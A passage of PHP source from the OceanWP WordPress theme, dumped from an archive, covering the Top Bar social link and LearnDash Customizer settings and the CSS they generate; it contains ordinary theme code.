'ocean_top_bar_social_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Top Bar Social Link Color */ $wp_customize->add_setting( 'ocean_top_bar_social_links_color', array( 'transport' => 'postMessage', 'default' => '#bbbbbb', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_social_links_color', array( 'label' => esc_html__( 'Social Links Color', 'oceanwp' ), 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', ) ) ); /** * Top Bar Social Link Color Hover */ $wp_customize->add_setting( 'ocean_top_bar_social_hover_links_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_social_hover_links_color', array( 'label' => esc_html__( 'Social Links Color: Hover', 'oceanwp' ), 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social_hover_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', ) ) ); /** * Top Bar Social Settings */ $social_options = oceanwp_social_options(); foreach ( $social_options as $key => $val ) { if ( 'skype' == $key ) { $sanitize = 'wp_filter_nohtml_kses'; } else if ( 'email' == $key ) { $sanitize = 'sanitize_email'; } else { $sanitize = 'esc_url_raw'; } $wp_customize->add_setting( 'ocean_top_bar_social_profiles[' . $key .']', array( 'sanitize_callback' => $sanitize, ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_social_profiles[' . $key .']', array( 'label' => esc_html( $val['label'] ), 'type' => 'text', 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social_profiles[' . $key .']', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', ) ) ); } } /** * Get CSS * * @since 1.0.0 */ public static function head_css( $output ) { // Global vars $top_padding = get_theme_mod( 'ocean_top_bar_top_padding', '8' ); $right_padding = get_theme_mod( 'ocean_top_bar_right_padding', '0' ); $bottom_padding = get_theme_mod( 'ocean_top_bar_bottom_padding', '8' ); $left_padding = get_theme_mod( 'ocean_top_bar_left_padding', '0' ); $tablet_top_padding = get_theme_mod( 'ocean_top_bar_tablet_top_padding' ); $tablet_right_padding = get_theme_mod( 'ocean_top_bar_tablet_right_padding' ); $tablet_bottom_padding = get_theme_mod( 'ocean_top_bar_tablet_bottom_padding' ); $tablet_left_padding = get_theme_mod( 'ocean_top_bar_tablet_left_padding' ); $mobile_top_padding = get_theme_mod( 'ocean_top_bar_mobile_top_padding' ); $mobile_right_padding = get_theme_mod( 'ocean_top_bar_mobile_right_padding' ); $mobile_bottom_padding = get_theme_mod( 'ocean_top_bar_mobile_bottom_padding' ); $mobile_left_padding = get_theme_mod( 'ocean_top_bar_mobile_left_padding' ); $background = get_theme_mod( 'ocean_top_bar_bg', '#ffffff' ); $border_color = get_theme_mod( 'ocean_top_bar_border_color', '#f1f1f1' ); $text_color = get_theme_mod( 'ocean_top_bar_text_color', '#929292' ); $link_color = get_theme_mod( 'ocean_top_bar_link_color', '#555555' ); $link_color_hover = get_theme_mod( 'ocean_top_bar_link_color_hover', '#13aff0' ); $social_font_size = get_theme_mod( 'ocean_top_bar_social_font_size' ); $social_tablet_font_size = get_theme_mod( 'ocean_top_bar_social_tablet_font_size' ); $social_mobile_font_size = get_theme_mod( 'ocean_top_bar_social_mobile_font_size' ); $social_right_padding = get_theme_mod( 'ocean_top_bar_social_right_padding' ); $social_left_padding = get_theme_mod( 'ocean_top_bar_social_left_padding' ); $social_tablet_right_padding = get_theme_mod( 'ocean_top_bar_social_tablet_right_padding' ); $social_tablet_left_padding = get_theme_mod( 'ocean_top_bar_social_tablet_left_padding' ); $social_mobile_right_padding = get_theme_mod( 'ocean_top_bar_social_mobile_right_padding' ); $social_mobile_left_padding = get_theme_mod( 'ocean_top_bar_social_mobile_left_padding' ); $social_links_color = get_theme_mod( 'ocean_top_bar_social_links_color', '#bbbbbb' ); $social_hover_links_color = get_theme_mod( 'ocean_top_bar_social_hover_links_color' ); // Define css var $css = ''; // Top bar padding if ( isset( $top_padding ) && '8' != $top_padding && '' != $top_padding || isset( $right_padding ) && '0' != $right_padding && '' != $right_padding || isset( $bottom_padding ) && '8' != $bottom_padding && '' != $bottom_padding || isset( $left_padding ) && '0' != $left_padding && '' != $left_padding ) { $css .= '#top-bar{padding:'. oceanwp_spacing_css( $top_padding, $right_padding, $bottom_padding, $left_padding ) .'}'; } // Tablet top bar padding if ( isset( $tablet_top_padding ) && '' != $tablet_top_padding || isset( $tablet_right_padding ) && '' != $tablet_right_padding || isset( $tablet_bottom_padding ) && '' != $tablet_bottom_padding || isset( $tablet_left_padding ) && '' != $tablet_left_padding ) { $css .= '@media (max-width: 768px){#top-bar{padding:'. oceanwp_spacing_css( $tablet_top_padding, $tablet_right_padding, $tablet_bottom_padding, $tablet_left_padding ) .'}}'; } // Mobile top bar padding if ( isset( $mobile_top_padding ) && '' != $mobile_top_padding || isset( $mobile_right_padding ) && '' != $mobile_right_padding || isset( $mobile_bottom_padding ) && '' != $mobile_bottom_padding || isset( $mobile_left_padding ) && '' != $mobile_left_padding ) { $css .= '@media (max-width: 480px){#top-bar{padding:'. oceanwp_spacing_css( $mobile_top_padding, $mobile_right_padding, $mobile_bottom_padding, $mobile_left_padding ) .'}}'; } // Top bar background color if ( ! empty( $background ) && '#ffffff' != $background ) { $css .= '#top-bar-wrap,.oceanwp-top-bar-sticky{background-color:'. $background .';}'; } // Top bar border color if ( ! empty( $border_color ) && '#f1f1f1' != $border_color ) { $css .= '#top-bar-wrap{border-color:'. $border_color .';}'; } // Top bar text color if ( ! empty( $text_color ) && '#929292' != $text_color ) { $css .= '#top-bar-wrap,#top-bar-content strong{color:'. $text_color .';}'; } // Top bar link color if ( ! empty( $link_color ) && '#555555' != $link_color ) { $css .= '#top-bar-content a,#top-bar-social-alt a{color:'. $link_color .';}'; } // Top bar link color hover if ( ! empty( $link_color_hover ) && '#13aff0' != $link_color_hover ) { $css .= '#top-bar-content a:hover,#top-bar-social-alt a:hover{color:'. $link_color_hover .';}'; } // Add top bar social font size if ( ! empty( $social_font_size ) && '14' != $social_font_size ) { $css .= '#top-bar-social li a{font-size:'. $social_font_size .'px;}'; } // Add top bar social tablet font size if ( ! empty( $social_tablet_font_size ) ) { $css .= '@media (max-width: 768px){#top-bar-social li a{font-size:'. $social_tablet_font_size .'px;}}'; } // Add top bar social mobile font size if ( ! empty( $social_mobile_font_size ) ) { $css .= '@media (max-width: 480px){#top-bar-social li a{font-size:'. $social_mobile_font_size .'px;}}'; } // Top bar padding if ( isset( $social_right_padding ) && '6' != $social_right_padding && '' != $social_right_padding || isset( $social_left_padding ) && '6' != $social_left_padding && '' != $social_left_padding ) { $css .= '#top-bar-social li a{padding:'. oceanwp_spacing_css( '', $social_right_padding, '', $social_left_padding ) .'}'; } // Tablet top bar padding if ( isset( $social_tablet_right_padding ) && '' != $social_tablet_right_padding || isset( $social_tablet_left_padding ) && '' != $social_tablet_left_padding ) { $css .= '@media (max-width: 768px){#top-bar-social li a{padding:'. oceanwp_spacing_css( '', $social_tablet_right_padding, '', $social_tablet_left_padding ) .'}}'; } // Mobile top bar padding if ( isset( $social_mobile_right_padding ) && '' != $social_mobile_right_padding || isset( $social_mobile_left_padding ) && '' != $social_mobile_left_padding ) { $css .= '@media (max-width: 480px){#top-bar-social li a{padding:'. oceanwp_spacing_css( '', $social_mobile_right_padding, '', $social_mobile_left_padding ) .'}}'; } // Top bar social link color if ( ! empty( $social_links_color ) && '#bbbbbb' != $social_links_color ) { $css .= '#top-bar-social li a{color:'. $social_links_color .';}'; $css .= '#top-bar-social li a .owp-icon use{stroke:'. $social_links_color .';}'; } // Top bar social link color hover if ( ! empty( $social_hover_links_color ) ) { $css .= '#top-bar-social li a:hover{color:'. $social_hover_links_color .'!important;}'; $css .= '#top-bar-social li a:hover .owp-icon use{stroke:'. $social_hover_links_color .'!important;}'; } // Return CSS if ( ! empty( $css ) ) { $output .= '/* Top Bar CSS */'. $css; } // Return output css return $output; } } endif; return new OceanWP_Top_Bar_Customizer();customizer/settings/learndash.php000064400000073415151551031110013265 0ustar00add_panel( $panel, array( 'title' => esc_html__( 'LearnDash', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_ld_general', array( 'title' => esc_html__( 'General', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * General Header */ $wp_customize->add_setting( 'ocean_ld_general_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_ld_general_heading', array( 'label' => esc_html__( 'General', 'oceanwp' ), 'section' => 'ocean_ld_general', 'priority' => 10, ) ) ); /** * Distraction Free Learning */ $wp_customize->add_setting( 'ocean_ld_distraction_free_learning', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_distraction_free_learning', array( 'label' => esc_html__( 'Distraction Free Learning', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_ld_general', 'settings' => 'ocean_ld_distraction_free_learning', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_ld_layout', array( 'title' => esc_html__( 'Layout', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Global Layout Header */ $wp_customize->add_setting( 'ocean_ld_global_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_ld_global_heading', array( 'label' => esc_html__( 'Global', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_ld_global_layout', array( 'default' => 'full-width', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_ld_global_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_global_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_ld_global_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_global_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_global_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_global_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_ld_global_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_global_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_global_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_global_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_ld_global_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_global_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_global_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_global_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_ld_global_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_global_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_global_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_global_rl_layout', ) ) ); /** * Course Page Header */ $wp_customize->add_setting( 'ocean_ld_course_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_ld_course_heading', array( 'label' => esc_html__( 'Course', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_ld_course_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_ld_course_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_course_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_ld_course_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_course_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_course_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_course_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_ld_course_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_course_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_course_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_course_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_ld_course_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_course_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_course_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_course_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_ld_course_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_course_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_course_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_course_rl_layout', ) ) ); /** * Lesson Page Header */ $wp_customize->add_setting( 'ocean_ld_lesson_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_ld_lesson_heading', array( 'label' => esc_html__( 'Lesson/Topic', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_ld_lesson_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_ld_lesson_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_lesson_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_ld_lesson_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_lesson_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_lesson_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_lesson_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_ld_lesson_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_lesson_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_lesson_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_lesson_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_ld_lesson_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_lesson_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_lesson_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_ld_lesson_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_ld_lesson_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_ld_lesson_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_ld_layout', 'settings' => 'ocean_ld_lesson_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_ld_lesson_rl_layout', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_ld_styling', array( 'title' => esc_html__( 'Advanced Styling', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Course */ $wp_customize->add_setting( 'ocean_lld_styling_course', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_lld_styling_course', array( 'label' => esc_html__( 'Table', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'priority' => 10, ) ) ); /** * Table Heading Color */ $wp_customize->add_setting( 'ocean_ld_heading_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_heading_color', array( 'label' => esc_html__( 'Heading Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_heading_color', 'priority' => 10, ) ) ); /** * Table Heading Background Color */ $wp_customize->add_setting( 'ocean_ld_heading_bg_color', array( 'default' => '', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_heading_bg_color', array( 'label' => esc_html__( 'Heading Background Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_heading_bg_color', 'priority' => 10, ) ) ); /** * Item Color */ $wp_customize->add_setting( 'ocean_ld_item_color', array( 'default' => '#333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_item_color', array( 'label' => esc_html__( 'Item Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_item_color', 'priority' => 10, ) ) ); /** * Item Hover Color */ $wp_customize->add_setting( 'ocean_ld_item_hover_color', array( 'default' => '#333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_item_hover_color', array( 'label' => esc_html__( 'Item Hover Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_item_hover_color', 'priority' => 10, ) ) ); /** * Complete Color */ $wp_customize->add_setting( 'ocean_ld_complete_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_complete_color', array( 'label' => esc_html__( 'Complete Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_complete_color', 'priority' => 10, ) ) ); /** * Incomplete Color */ $wp_customize->add_setting( 'ocean_ld_incomplete_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_incomplete_color', array( 'label' => esc_html__( 'Incomplete Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_incomplete_color', 'priority' => 10, ) ) ); /** * Progress Bar Color */ $wp_customize->add_setting( 'ocean_ld_progressbar_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_ld_progressbar_color', array( 'label' => esc_html__( 'Progress Bar Color', 'oceanwp' ), 'section' => 'ocean_ld_styling', 'settings' => 'ocean_ld_progressbar_color', 'priority' => 10, ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Course Table. $heading_color = get_theme_mod( 'ocean_ld_heading_color' ); $heading_bg_color = get_theme_mod( 'ocean_ld_heading_bg_color' ); $item_color = get_theme_mod( 'ocean_ld_item_color' ); $item_hover_color = get_theme_mod( 'ocean_ld_item_hover_color' ); $complete_color = get_theme_mod( 'ocean_ld_complete_color' ); $incomplete_color = get_theme_mod( 'ocean_ld_incomplete_color' ); $progressbar_color = get_theme_mod( 'ocean_ld_progressbar_color' ); // Both Sidebars - Global. $ld_global_layout = get_theme_mod( 'ocean_ld_global_layout', 'full-width' ); $bs_global_content_width = get_theme_mod( 'ocean_ld_global_both_sidebars_content_width' ); $bs_global_sidebars_width = get_theme_mod( 'ocean_ld_global_both_sidebars_sidebars_width' ); // Both Sidebars - Course. $ld_course_layout = get_theme_mod( 'ocean_ld_course_layout', 'left-sidebar' ); $bs_course_content_width = get_theme_mod( 'ocean_ld_course_both_sidebars_content_width' ); $bs_course_sidebars_width = get_theme_mod( 'ocean_ld_course_both_sidebars_sidebars_width' ); // Both Sidebars - Lesson. $ld_lesson_layout = get_theme_mod( 'ocean_ld_lesson_layout', 'left-sidebar' ); $bs_lesson_content_width = get_theme_mod( 'ocean_ld_lesson_both_sidebars_content_width' ); $bs_lesson_sidebars_width = get_theme_mod( 'ocean_ld_lesson_both_sidebars_sidebars_width' ); // Define css var. $css = ''; // Add Heading color. if ( ! empty( $heading_color ) ) { $css .= '#learndash_lessons #lesson_heading, #learndash_profile .learndash_profile_heading, #learndash_quizzes #quiz_heading, #learndash_lesson_topics_list div > strong{color:' . $heading_color . ';}'; } // Add Heading Background color. if ( ! empty( $heading_bg_color ) ) { $css .= '#learndash_lessons #lesson_heading, #learndash_profile .learndash_profile_heading, #learndash_quizzes #quiz_heading, #learndash_lesson_topics_list div > strong{background-color:' . $heading_bg_color . ';}'; } // Add Item color. if ( ! empty( $item_color ) ) { $css .= '#lessons_list > div h4 a, #course_list > div h4 a, #quiz_list > div h4 a, .learndash_topic_dots a, .learndash_topic_dots a > span, #learndash_lesson_topics_list span a{color:' . $item_color . ';}'; } // Add Item Hover color. if ( ! empty( $item_hover_color ) ) { $css .= '#lessons_list > div h4 a:hover, #lessons_list > div h4 a:hover > span, #course_list > div h4 a:hover, #course_list > div h4 a:hover > span, #quiz_list > div h4 a:hover, #quiz_list > div h4 a:hover > span, .learndash_topic_dots a:hover, .learndash_topic_dots a:hover span, #learndash_lesson_topics_list span a:hover{color:' . $item_hover_color . ';}'; } // Add Complete Icon color. if ( ! empty( $complete_color ) ) { $css .= '.learndash_navigation_lesson_topics_list .topic-completed span:before, .learndash_navigation_lesson_topics_list ul .topic-completed span:before, .learndash_topic_dots .topic-completed span:before, .learndash_topic_dots ul .topic-completed span:before, .learndash .completed:before, #learndash_profile .completed:before{color:' . $complete_color . ';}'; } // Add Incomplete Icon color. if ( ! empty( $incomplete_color ) ) { $css .= '.learndash_navigation_lesson_topics_list .topic-notcompleted span:before, .learndash_navigation_lesson_topics_list ul .topic-notcompleted span:before, .learndash_topic_dots .topic-notcompleted span:before, .learndash_topic_dots ul .topic-notcompleted span:before, .learndash .notcompleted:before, #learndash_profile .notcompleted:before{color:' . $incomplete_color . ';}'; } // Add Progress Bar color. if ( ! empty( $progressbar_color ) ) { $css .= 'dd.course_progress div.course_progress_blue{background-color:' . $progressbar_color . ';}'; } // LearnDash Both Sidebars - Global. if ( 'both-sidebars' === $ld_global_layout ) { // Both Sidebars layout ld Global page content width. if ( ! empty( $bs_global_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.ld-global-layout.content-both-sidebars .content-area {width: ' . $bs_global_content_width . '%;} body.ld-global-layout.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.ld-global-layout.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_global_content_width . '%;} }'; } // Both Sidebars layout ld Global sidebars width. if ( ! empty( $bs_global_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.ld-global-layout.content-both-sidebars .widget-area{width:' . $bs_global_sidebars_width . '%;} body.ld-global-layout.content-both-sidebars.scs-style .content-area{left:' . $bs_global_sidebars_width . '%;} body.ld-global-layout.content-both-sidebars.ssc-style .content-area{left:' . $bs_global_sidebars_width * 2 . '%;} }'; } } // LearnDash Both Sidebars - Course. if ( 'both-sidebars' === $ld_course_layout ) { // Both Sidebars layout ld Course page content width. if ( ! empty( $bs_course_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-sfwd-courses.content-both-sidebars .content-area {width: ' . $bs_course_content_width . '%;} body.single-sfwd-courses.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-sfwd-courses.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_course_content_width . '%;} }'; } // Both Sidebars layout ld Course sidebars width. if ( ! empty( $bs_course_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-sfwd-courses.content-both-sidebars .widget-area{width:' . $bs_course_sidebars_width . '%;} body.single-sfwd-courses.content-both-sidebars.scs-style .content-area{left:' . $bs_course_sidebars_width . '%;} 